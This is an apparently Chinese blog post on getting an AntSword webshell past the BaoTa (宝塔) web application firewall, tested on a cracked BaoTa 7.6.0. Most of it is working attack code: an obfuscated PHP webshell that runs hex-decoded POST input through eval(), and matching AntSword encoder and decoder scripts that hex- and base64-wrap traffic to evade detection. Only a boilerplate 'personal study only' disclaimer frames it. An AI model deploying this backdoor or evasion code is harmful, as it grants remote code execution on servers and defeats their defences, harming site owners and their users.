富贵长生天做主由不得我
钢骨正气我做主由不得天

蚁剑编码器过宝塔waf

环境:php 7.2+nginx+bt
因为宝塔需要收费,所以使用的是破解版测试的7.6.0

木马文件:

<?php
class _
{
    static public $phpcms=Null;
    function __construct($l="error"){
        self::$phpcms=$l;
        @eval/*Defining error level offences*/(null.null.self::$phpcms);
    }
}
function hexToStr($hex){   
        $str=""; 
        for($i=0;$i<strlen($hex)-1;$i+=2)
        $str.=chr(hexdec($hex[$i].$hex[$i+1]));
        return  $str;
    } 
$error = null.hexToStr(@$_POST/*\*/["1"]);
$d = new _($error);
?>

编码器:

/**
 * php::base64编码器
 * Create at: 2021/09/19 16:57:59
 */

'use strict';

/*
* @param  {String} pwd   连接密码
* @param  {Array}  data  编码器处理前的 payload 数组
* @return {Array}  data  编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
  // ##########    请在下方编写你自己的代码   ###################
  // 以下代码为 PHP Base64 样例

  data[pwd] = Buffer.from(data['_']).toString('hex');

  // ##########    请在上方编写你自己的代码   ###################

  // 删除 _ 原有的payload
  delete data['_'];
  // 返回编码器处理后的 payload 数组
  return data;
}

解码器:


/**
 * php::base64解码器
 * Create at: 2021/09/20 16:05:35
 */

'use strict';

module.exports = {
  /**
   * @returns {string} asenc 将返回数据base64编码
   * 自定义输出函数名称必须为 asenc
   * 该函数使用的语法需要和shell保持一致
   */
  asoutput: () => {
    return `function asenc($out){
      return @base64_encode($out);
    }
    `.replace(/\n\s+/g, '');
  },
  /**
   * 解码 Buffer
   * @param {string} data 要被解码的 Buffer
   * @returns {string} 解码后的 Buffer
   */
  decode_buff: (data, ext={}) => {
    return Buffer.from(data.toString(), 'base64');
  }
}

赞(0)
版权声明:本文采用知识共享 署名4.0国际许可协议 [BY-NC-SA] 进行授权
文章名称:《蚁剑编码器过宝塔waf》
文章链接:https://www.lolmm.cn/stwd/1040.html
本站资源仅供个人学习交流,请于下载后24小时内删除,不允许用于商业用途,否则法律问题自行承担。

评论 抢沙发

评论前必须登录!